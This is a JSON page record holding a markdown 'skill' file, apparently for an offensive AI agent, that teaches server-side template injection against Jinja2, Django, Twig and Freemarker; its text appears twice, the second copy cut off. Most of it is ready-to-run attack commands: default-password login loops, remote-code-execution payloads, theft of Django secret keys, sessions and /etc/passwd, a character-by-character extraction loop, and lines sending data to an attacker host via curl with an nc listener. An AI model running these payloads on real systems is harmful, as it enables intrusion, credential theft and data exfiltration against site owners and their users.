[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M7989PNW56K23MJ8BXFJKRPY":3,"skill-same:01M7989PNW56K23MJ8BXFJKRPY":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":18,"publishedAt":19,"linkOnly":20,"markdownContent":21,"markdownBody":22,"frontMatter":23,"refName":28,"commitSha":29,"skillDirectory":30,"forksCount":31,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M7989PNW56K23MJ8BXFJKRPY","exploit-ssti",null,"Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python\u002FFlask), Twig (PHP\u002FSymfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.","7ShIkI3\u002FDecepticon-x-DarkTriad","7ShIkI3","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F78133376?v=4","01M797CTK5AHH2161YVG93NJ3B","Raphael Pascaud","01M797CTKRQS64R01J7E6TJSEM",3,"Apache-2.0","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fssti\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploit-ssti\ndescription: \"Server-Side Template Injection (SSTI) — RCE through template engines. Covers Jinja2 (Python\u002FFlask), Twig (PHP\u002FSymfony), Freemarker (Java), ERB (Ruby), Razor (.NET). Includes engine fingerprinting, MRO chain construction, and filter bypass.\"\nmetadata:\n  subdomain: web-exploitation\n  mitre_attack: T1190\n  when_to_use: \"ssti, template injection, server side template, jinja2, twig, freemarker, erb, razor, thymeleaf, template engine, {{7*7}}, ${7*7}, mro chain, template rce, flask template, django template, pebble, velocity, smarty, mako\"\n---\n\n# Server-Side Template Injection (SSTI)\n\nExploits template engines that render user input, achieving RCE by injecting template directives.\n\n## Default Credentials Fast-Path (when `default_credentials` is a co-tag)\n\nWhen `default_credentials` appears alongside `ssti` in the challenge tags, attempt login FIRST before any template injection probing:\n\n```bash\n# Try top default credential pairs in your FIRST exploit bash call\nfor creds in \"admin:admin\" \"admin:password\" \"test:test\" \"admin:123456\" \"user:user\" \"admin:admin123\"; do\n  user=\"${creds%%:*}\"; pass=\"${creds##*:}\"\n  resp=$(curl -s -c \u002Ftmp\u002Fcookies.txt -X POST \"http:\u002F\u002F\u003CTARGET>\u002Flogin\" \\\n    -d \"username=$user&password=$pass\" -w '\\n%{http_code}' 2>\u002Fdev\u002Fnull)\n  code=$(echo \"$resp\" | tail -1)\n  [ \"$code\" = \"200\" ] || [ \"$code\" = \"302\" ] && echo \"HIT: $user:$pass ($code)\" && break\ndone\n```\n\nA valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.\n\n## Detection — Universal Probes\n```bash\n# Polyglot detection string\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${{\u003C%[%27\"}}%>.' -o ssti_polyglot.txt\n\n# Math-based detection\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{7*7}}' | grep -o '49'        # Jinja2\u002FTwig\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${7*7}' | grep -o '49'         # Freemarker\u002FEL\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=#{7*7}' | grep -o '49'         # Ruby ERB\u002FThymeleaf\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{7*\"7\"}}' | grep -o '7777777' # Jinja2 (string repeat)\n```\n\n## Jinja2 (Python — Flask\u002FDjango)\n```bash\n# Confirm Jinja2\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config}}'\n\n# RCE via MRO chain\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[\u003CINDEX>](\"id\",shell=True,stdout=-1).communicate()[0]}}'\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${PAYLOAD}\" -o ssti_jinja2_rce.txt\n\n# Common RCE payloads\n# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n# {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n# {{cycler.__init__.__globals__.os.popen('id').read()}}\n```\n\n## Django (engine.from_string)\n\nWhen the target is **Django** (not Flask\u002FJinja2) and a view passes user-controlled string into `Engine.get_default().from_string(...).render(Context(...))`, the exploitation surface is **fundamentally different** from Jinja2.\n\n**Identify Django (vs Flask\u002FJinja2):**\n```bash\n# Response header tells: Django sets X-Frame-Options: DENY by default\ncurl -sI \"http:\u002F\u002F\u003CTARGET>\u002F\" | grep -iE 'x-frame-options|csrftoken|django'\n# CSRF cookie name: csrftoken (Django) vs session (Flask)\n# HTML contains: name=\"csrfmiddlewaretoken\" inputs\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\" | grep -oE 'csrfmiddlewaretoken|csrf_token'\n# Admin route exists\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002F\"   # 200\u002F302 → Django\n# Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={%25+csrf_token+%25}\" | grep -o 'csrfmiddlewaretoken'\n```\n\n**Critical: Django templates DO NOT expose Jinja2 MRO shortcuts.** The following will NOT work:\n- `{{request.application.__globals__}}` — Django has no `application`\n- `{{cycler.__init__.__globals__}}` — `cycler` is a tag, not a builtin\n- `{{\"\".__class__.__mro__[1].__subclasses__()}}` — Django blocks `_`-prefixed attribute access in templates (TemplateSyntaxError or silent empty)\n- `{% load os %}` — Django filters `{% load %}` to registered apps; arbitrary module load denied\n\nDjango template language is restricted to: variable lookup (`{{var}}`), filter pipes (`{{v|upper}}`), and registered tags (`{% if %}…{% endif %}`, `{% csrf_token %}`, `{% include %}`).\n\n**Productive paths for `engine.from_string` SSTI:**\n\n```bash\n# 1. Settings leak (works when 'django.template.context_processors.debug' or\n#    a custom processor injects `settings` into context)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings.SECRET_KEY}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings.DATABASES}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings.DEBUG}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings|pprint}}\"\n\n# 2. Request \u002F session \u002F META leak (when `request` is in the context)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.session.items}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.session.flag}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.META.HTTP_COOKIE}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.user.is_staff}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.environ}}\"\n\n# 3. {% include %} path traversal (when an attacker-controlled path reaches include)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={%25+include+%22..\u002F..\u002F..\u002Fetc\u002Fpasswd%22+%25}\"\n\n# 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`)\n# Server template: \"Hello PLACEHOLDER!\"  →  Payload: {{ request.session.flag }}\n# Rendered: \"Hello \u003Csession-flag-value>!\"\ncurl -s --data-urlencode 'input={{ request.session.flag }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\ncurl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\ncurl -s --data-urlencode 'input={{ request.user.username }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\n\n# 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain\n# Works when:\n#   - The django.contrib.messages context processor is active (default in startproject)\n#   - {% %} tag syntax is filtered\u002Fblocked but {{ }} expressions still evaluate\n#   - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty)\n# Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is\n# `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed\n# attribute access, no filter bypass needed.\ncurl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\n# Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY.\n# When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot),\n# this single probe is the entire exploit.\n```\n\n**RCE realism:** Django SSTI rarely reaches RCE via the template language alone — `SafeString`\u002F`Variable` resolution blocks `_`-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is **information disclosure** (settings, session, request context). RCE generally requires either a custom unsafe filter\u002Ftag already registered, or the engine built with `Engine(builtins=['unsafe_module'])` — uncommon.\n\n**Context-processor traversal map** (when `{{ settings.* }}` returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths):\n\n| Context object | Source processor | Useful disclosure |\n|---|---|---|\n| `messages.storages.0.signer.key` | `django.contrib.messages.context_processors.messages` | `b'django.http.cookies' + SECRET_KEY` |\n| `request.session.*` | `django.template.context_processors.request` | session keys \u002F per-user secrets |\n| `request.user.*` | `django.contrib.auth.context_processors.auth` | username, email, is_staff, password hash |\n| `perms.*` | `django.contrib.auth.context_processors.auth` | permission set (informational) |\n| `csrf_token` | `django.template.context_processors.csrf` | per-session CSRF token (TimestampSigner-derived) |\n\n**3-strike pivot:** After 3 probes against `{{settings.*}}` \u002F `{{request.session.*}}` \u002F `{{request.META.*}}` AND the full Context-processor traversal map above return empty or unchanged template, **pivot to the `default_credentials` skill** to obtain admin auth, then hit `\u002Fadmin\u002F` and search admin-only models \u002F login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map.\n\n## Twig (PHP — Symfony)\n```bash\n# Confirm Twig\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{_self.env.display(\"id\")}}'\n\n# RCE payloads\n# Twig 1.x:\n# {{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n\n# Twig 3.x:\n# {{['id']|filter('system')}}\n# {{['id']|map('system')}}\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{['id']|filter('system')}}\" -o ssti_twig_rce.txt\n```\n\n**Multi-surface rendering rule (MANDATORY for stored-input apps).**\n\nWhen the target has CRUD endpoints (add\u002Fedit\u002Flist\u002Fsearch\u002Fdetail\u002Fexport), template injection often evaluates on ONLY ONE of the rendering surfaces — typically the detail\u002Fshow page or an admin\u002Fexport view — even when the same value is displayed as literal text on the list\u002Fsearch results. **Seeing `{{7*7}}` reflected literally on one page does NOT prove templates are inactive — it proves THAT particular surface is not template-rendered.**\n\nTest EVERY rendering surface before concluding SSTI is unavailable:\n\n```bash\n# 1. STORE the probe — submit {{7*7}} into a persisted field (name, description, comment, tag)\ncurl -s -X POST \"http:\u002F\u002F\u003CTARGET>\u002F\u003Cadd_endpoint>\" -d 'name={{7*7}}&description={{49+1}}'\nNEW_ID=\"\u003Cextract from redirect or list>\"\n\n# 2. PROBE each rendering surface — the one that evaluates wins\nfor path in \u002Flist \u002Fsearch?q={{7*7}} \u002Fdetail\u002F${NEW_ID} \u002Fedit\u002F${NEW_ID} \u002Fexport \u002Fadmin\u002F${RESOURCE} \u002Fapi\u002F${RESOURCE}\u002F${NEW_ID}; do\n  echo \"=== ${path} ===\"\n  curl -s \"http:\u002F\u002F\u003CTARGET>${path}\" -o \u002Ftmp\u002Frender_${path\u002F\u002F\\\u002F\u002F_}.txt\n  # 49\u002F50 → evaluated → THIS surface is the SSTI sink\n  grep -E \"^[^\u003C]*(49|50)([^0-9]|$)\" \u002Ftmp\u002Frender_${path\u002F\u002F\\\u002F\u002F_}.txt | head -3\ndone\n```\n\n**Twig sandbox is per-loader, not global.** A page that shows `Sandbox mode: Enabled` does NOT mean every Twig context is sandboxed. Stored-data rendering (typically `Twig\\Environment` instances initialized for content\u002Femail\u002FPDF) is commonly unsandboxed even when the index template is. Test each surface independently before dismissing SSTI.\n\n**Twig sandbox-bypass payloads** (when one specific endpoint IS sandboxed but RCE primitives like `system`\u002F`filter` are not whitelisted):\n\n```bash\n# Twig 1.x — register undefined filter callback to call arbitrary PHP function\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{_self.env.registerUndefinedFilterCallback(\"system\")}}{{_self.env.getFilter(\"id\")}}'\n# Twig 2.x\u002F3.x — use map\u002Ffilter with system\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{[\"id\"]|map(\"system\")|join}}'\n# Class-injection gadget (when filters blocked)\ncurl -s 'http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{_self.env.setCache(\"ftp:\u002F\u002Fattacker\u002F\")}}{{_self.env.loadTemplate(\"backdoor\")}}'\n```\n\n**3-strike Twig pivot rule**: If 3 probes against the same field show stored-but-literal output (e.g. `{{7*7}}` appears as `{{7*7}}` not `49`), STOP iterating that field. The bypass is a different rendering surface OR a different field on the same surface — not a deeper payload on the same dead field.\n\n## Freemarker (Java)\n```bash\n# Confirm Freemarker\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${7*7}'\n\n# RCE payloads\n# \u003C#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}\n# ${\"freemarker.template.utility.Execute\"?new()(\"id\")}\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=\u003C#assign+ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"id\")}' -o ssti_freemarker_rce.txt\n```\n\n## Blind SSTI (no direct reflection — \"Blind\" in challenge name)\n\nWhen the challenge name contains \"Blind\" or SSTI payloads produce no visible output change, the template is rendered server-side but results are not echoed. Use out-of-band or side-channel techniques:\n\n```bash\n# Time-based oracle (Jinja2) — confirms SSTI without reflection\n# If SLEEP(5) causes a 5s delay, SSTI is present\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[\u003CN>](['sleep','5'],stdout=-1).communicate()}}\" --max-time 10 -w '\\nTime: %{time_total}s\\n' -o \u002Ftmp\u002Fssti_time.txt\n\n# Simpler time delay via Jinja2 config globals\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].system('sleep 5')}}\" --max-time 10 -w '\\nTime: %{time_total}s\\n'\n\n# Out-of-band: write sensitive file to a readable path, then fetch it\n# Step 1: exfiltrate target file to \u002Ftmp\u002Fout via RCE (replace \u002F.env with discovered path)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].popen('cat \u002F.env > \u002Ftmp\u002Fenv_out').read()}}\"\n# Step 2: read via LFI or a file-serving endpoint if available\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F..\u002Ftmp\u002Fenv_out\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fdownload?file=..\u002Ftmp\u002Fenv_out\"\n\n# Alternative: write to web root if writable\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].popen('cp \u002F.env \u002Fapp\u002Fstatic\u002Ff.txt').read()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002Ff.txt\"\n```\n\n**Decision flow for blind SSTI:**\n1. Confirm time-delay oracle (1 curl, ≥5s response = SSTI confirmed)\n2. Attempt RCE + write sensitive file content to \u002Ftmp\u002Fout + read via static\u002Fdownload endpoint\n3. If no file-serving path: use DNS\u002FHTTP callback (`curl http:\u002F\u002F\u003CATTACKER>:PORT\u002F?f=$(cat \u002F.env | base64)`) — set up listener first with `nc -lvnp \u003CPORT> &`\n4. If sandbox blocks outbound: try writing to error logs, then trigger log read\n\n## Blind Jinja2 Sandbox Escape — Subclasses Gadget Chain\n\nWhen direct RCE payloads are sandboxed, enumerate subclasses to find a Popen-capable class:\n\n```bash\n# Step 1: enumerate all subclasses (save to file — output can be large)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()}}\" \\\n  -o \u002Ftmp\u002Fsubclasses.txt\n# Count classes and find Popen\ngrep -o \"subprocess.Popen\\|\u003Cclass '\" \u002Ftmp\u002Fsubclasses.txt | wc -l\npython3 -c \"\nimport re, sys\ndata = open('\u002Ftmp\u002Fsubclasses.txt').read()\nclasses = re.findall(r\\\"\u003Cclass '([^']+)'\\\", data)\nfor i,c in enumerate(classes):\n    if 'Popen' in c or 'process' in c.lower():\n        print(i, c)\n\"\n\n# Step 2: use the index to call Popen (common indices: 200-280 in py3.10+, 132-200 in py3.8)\n# Try index 245 first, adjust based on Step 1\nINDEX=245\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('id',shell=True,stdout=-1).communicate()[0]}}\" \\\n  -o \u002Ftmp\u002Fssti_rce.txt\ngrep -v '^$' \u002Ftmp\u002Fssti_rce.txt | head -5\n```\n\n**If output channel is blocked** (blind SSTI, no reflection):\n```bash\n# Write to web-accessible path then fetch\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('cat \u002Fetc\u002Fpasswd > \u002Ftmp\u002Fout.txt',shell=True,stdout=-1).communicate()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fstatic\u002F..\u002Ftmp\u002Fout.txt\"\n\n# Or OOB via HTTP callback — start listener first: nc -lvnp 9999 &\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{''.__class__.__mro__[1].__subclasses__()[$INDEX]('curl http:\u002F\u002F\u003CATTACKER>:9999\u002F?d=\\$(cat \u002Fetc\u002Fpasswd|base64 -w0)',shell=True,stdout=-1).communicate()}}\"\n```\n\n**Alternative globals-based RCE** (no subclass enumeration needed):\n```bash\n# Flask globals shortcut — works when request context is available\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{cycler.__init__.__globals__.os.popen('id').read()}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n```\n\n## Error-Status (5xx) Oracle for Blind SSTI\n\nWhen template output is suppressed but the server returns HTTP 500 on invalid template syntax, use error-status as a boolean oracle — no reflection required.\n\n```bash\nTARGET_URL=\"http:\u002F\u002F\u003CTARGET>\u002Fpage?input=\"\n\n# Calibration: confirm 500 on syntax error vs 200 on valid input\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"${TARGET_URL}{{invalid_syntax_xyz_$RANDOM}}\"   # expect 500\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"${TARGET_URL}hello\"                              # expect 200\n\n# Boolean extraction via arithmetic that only evaluates on true branch\n# If condition is TRUE  → valid template → 200\n# If condition is FALSE → raises TemplateSyntaxError \u002F division-by-zero → 500\nfor pos in $(seq 1 32); do\n  for ascii in $(seq 32 126); do\n    code=$(curl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \\\n      \"${TARGET_URL}{% if (secret[${pos}-1]|int)==${ascii} %}ok{% endif %}\")\n    if [ \"$code\" = \"200\" ]; then\n      printf \"\\\\x$(printf '%02x' $ascii)\"\n      break\n    fi\n  done\ndone\necho  # newline after extracted string\n```\n\n**Decision rule:**\n1. Confirm calibration (syntax error → 500, valid → 200) with 2 curl calls.\n2. If confirmed, use the 5xx oracle loop above — do NOT fall back to time-delay probing unless the server swallows 500s.\n3. If both 200 and 500 are returned for all inputs (WAF normalizing), pivot to DNS\u002FHTTP out-of-band exfiltration.\n\n## Engine Fingerprinting Table\n\n| Probe | Result | Engine |\n|-------|--------|--------|\n| `{{7*7}}` | `49` | Jinja2 or Twig |\n| `{{7*'7'}}` | `7777777` | Jinja2 |\n| `{{7*'7'}}` | `49` | Twig |\n| `${7*7}` | `49` | Freemarker or EL |\n| `#{7*7}` | `49` | Thymeleaf or Ruby ERB |\n| `\u003C%= 7*7 %>` | `49` | ERB (Ruby) |\n| `@(1+1)` | `2` | Razor (.NET) |\n","# Server-Side Template Injection (SSTI)\n\nExploits template engines that render user input, achieving RCE by injecting template directives.\n\n## Default Credentials Fast-Path (when `default_credentials` is a co-tag)\n\nWhen `default_credentials` appears alongside `ssti` in the challenge tags, attempt login FIRST before any template injection probing:\n\n```bash\n# Try top default credential pairs in your FIRST exploit bash call\nfor creds in \"admin:admin\" \"admin:password\" \"test:test\" \"admin:123456\" \"user:user\" \"admin:admin123\"; do\n  user=\"${creds%%:*}\"; pass=\"${creds##*:}\"\n  resp=$(curl -s -c \u002Ftmp\u002Fcookies.txt -X POST \"http:\u002F\u002F\u003CTARGET>\u002Flogin\" \\\n    -d \"username=$user&password=$pass\" -w '\\n%{http_code}' 2>\u002Fdev\u002Fnull)\n  code=$(echo \"$resp\" | tail -1)\n  [ \"$code\" = \"200\" ] || [ \"$code\" = \"302\" ] && echo \"HIT: $user:$pass ($code)\" && break\ndone\n```\n\nA valid authenticated session exposes the template-rendering endpoints needed for SSTI — attempting injection on unauthenticated endpoints is often a dead end. Only proceed to template fingerprinting after confirming or exhausting default credentials.\n\n## Detection — Universal Probes\n```bash\n# Polyglot detection string\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${{\u003C%[%27\"}}%>.' -o ssti_polyglot.txt\n\n# Math-based detection\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{7*7}}' | grep -o '49'        # Jinja2\u002FTwig\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${7*7}' | grep -o '49'         # Freemarker\u002FEL\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input=#{7*7}' | grep -o '49'         # Ruby ERB\u002FThymeleaf\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{7*\"7\"}}' | grep -o '7777777' # Jinja2 (string repeat)\n```\n\n## Jinja2 (Python — Flask\u002FDjango)\n```bash\n# Confirm Jinja2\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{config}}'\n\n# RCE via MRO chain\nPAYLOAD='{{\"\".__class__.__mro__[1].__subclasses__()[\u003CINDEX>](\"id\",shell=True,stdout=-1).communicate()[0]}}'\ncurl -s \"https:\u002F\u002F\u003CTARGET>\u002Fpage?input=${PAYLOAD}\" -o ssti_jinja2_rce.txt\n\n# Common RCE payloads\n# {{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n# {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}\n# {{cycler.__init__.__globals__.os.popen('id').read()}}\n```\n\n## Django (engine.from_string)\n\nWhen the target is **Django** (not Flask\u002FJinja2) and a view passes user-controlled string into `Engine.get_default().from_string(...).render(Context(...))`, the exploitation surface is **fundamentally different** from Jinja2.\n\n**Identify Django (vs Flask\u002FJinja2):**\n```bash\n# Response header tells: Django sets X-Frame-Options: DENY by default\ncurl -sI \"http:\u002F\u002F\u003CTARGET>\u002F\" | grep -iE 'x-frame-options|csrftoken|django'\n# CSRF cookie name: csrftoken (Django) vs session (Flask)\n# HTML contains: name=\"csrfmiddlewaretoken\" inputs\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002F\" | grep -oE 'csrfmiddlewaretoken|csrf_token'\n# Admin route exists\ncurl -s -o \u002Fdev\u002Fnull -w '%{http_code}' \"http:\u002F\u002F\u003CTARGET>\u002Fadmin\u002F\"   # 200\u002F302 → Django\n# Fingerprint probe: {% csrf_token %} renders a hidden input in Django; Jinja2 raises\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={%25+csrf_token+%25}\" | grep -o 'csrfmiddlewaretoken'\n```\n\n**Critical: Django templates DO NOT expose Jinja2 MRO shortcuts.** The following will NOT work:\n- `{{request.application.__globals__}}` — Django has no `application`\n- `{{cycler.__init__.__globals__}}` — `cycler` is a tag, not a builtin\n- `{{\"\".__class__.__mro__[1].__subclasses__()}}` — Django blocks `_`-prefixed attribute access in templates (TemplateSyntaxError or silent empty)\n- `{% load os %}` — Django filters `{% load %}` to registered apps; arbitrary module load denied\n\nDjango template language is restricted to: variable lookup (`{{var}}`), filter pipes (`{{v|upper}}`), and registered tags (`{% if %}…{% endif %}`, `{% csrf_token %}`, `{% include %}`).\n\n**Productive paths for `engine.from_string` SSTI:**\n\n```bash\n# 1. Settings leak (works when 'django.template.context_processors.debug' or\n#    a custom processor injects `settings` into context)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings.SECRET_KEY}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings.DATABASES}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings.DEBUG}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{settings|pprint}}\"\n\n# 2. Request \u002F session \u002F META leak (when `request` is in the context)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.session.items}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.session.flag}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.META.HTTP_COOKIE}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.user.is_staff}}\"\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={{request.environ}}\"\n\n# 3. {% include %} path traversal (when an attacker-controlled path reaches include)\ncurl -s \"http:\u002F\u002F\u003CTARGET>\u002Fpage?input={%25+include+%22..\u002F..\u002F..\u002Fetc\u002Fpasswd%22+%25}\"\n\n# 4. Placeholder-replace pattern (`template_str.replace('PLACEHOLDER', user_input)`)\n# Server template: \"Hello PLACEHOLDER!\"  →  Payload: {{ request.session.flag }}\n# Rendered: \"Hello \u003Csession-flag-value>!\"\ncurl -s --data-urlencode 'input={{ request.session.flag }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\ncurl -s --data-urlencode 'input={{ settings.SECRET_KEY }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\ncurl -s --data-urlencode 'input={{ request.user.username }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\n\n# 5. messages framework signer key — leaks SECRET_KEY via context-processor object chain\n# Works when:\n#   - The django.contrib.messages context processor is active (default in startproject)\n#   - {% %} tag syntax is filtered\u002Fblocked but {{ }} expressions still evaluate\n#   - settings is NOT in template context (the common `{{ settings.SECRET_KEY }}` returns empty)\n# Mechanism: CookieStorage.signer is a TimestampSigner whose .key attribute is\n# `b'django.http.cookies' + SECRET_KEY`. Pure dot-traversal — no underscore-prefixed\n# attribute access, no filter bypass needed.\ncurl -s --data-urlencode 'input={{ messages.storages.0.signer.key }}' \"http:\u002F\u002F\u003CTARGET>\u002Frender\"\n# Strip the constant prefix `django.http.cookies` from the response to recover SECRET_KEY.\n# When SECRET_KEY itself contains the flag (apps that read flag.txt into SECRET_KEY at boot),\n# this single probe is the entire exploit.\n```\n\n**RCE realism:** Django SSTI rarely reaches RCE via the template language alone — `SafeString`\u002F`Variable` resolution blocks `_`-prefixed traversal, and only registered template tags load. The realistic Django SSTI yield is **information disclosure** (settings, session, request context). RCE generally requires either a custom unsafe filter\u002Ftag already registered, or the engine built with `Engine(builtins=['unsafe_module'])` — uncommon.\n\n**Context-processor traversal map** (when `{{ settings.* }}` returns empty — settings not in context — enumerate the rest of the context processors before pivoting to auth-required paths):\n\n| Context object | Source processor | Useful disclosure |\n|---|---|---|\n| `messages.storages.0.signer.key` | `django.contrib.messages.context_processors.messages` | `b'django.http.cookies' + SECRET_KEY` |\n| `request.session.*` | `django.template.context_processors.request` | session keys \u002F per-user secrets |\n| `request.user.*` | `django.contrib.auth.context_processors.auth` | username, email, is_staff, password hash |\n| `perms.*` | `django.contrib.auth.context_processors.auth` | permission set (informational) |\n| `csrf_token` | `django.template.context_processors.csrf` | per-session CSRF token (TimestampSigner-derived) |\n\n**3-strike pivot:** After 3 probes against `{{settings.*}}` \u002F `{{request.session.*}}` \u002F `{{request.META.*}}` AND the full Context-processor traversal map above return empty or unchanged template, **pivot to the `default_credentials` skill** to obtain admin auth, then hit `\u002Fadmin\u002F` and search admin-only models \u002F login-required views for the flag. Do not loop more SSTI variants past 3 negative probes after exhausting the context-processor map.\n\n## Twig (PHP — Symfony)\n```bash\n# Confirm Twig\ncurl -s 'https:\u002F\u002F\u003CTARGET>\u002Fpage?input={{_self.env.display(\"id\")}}'\n\n# RCE payloads\n# Twig 1.x:\n# {{_self.env.registerUndefinedFilterCallback(\"exec\")}}{{_self.env.getFilter(\"id\")}}\n\n# 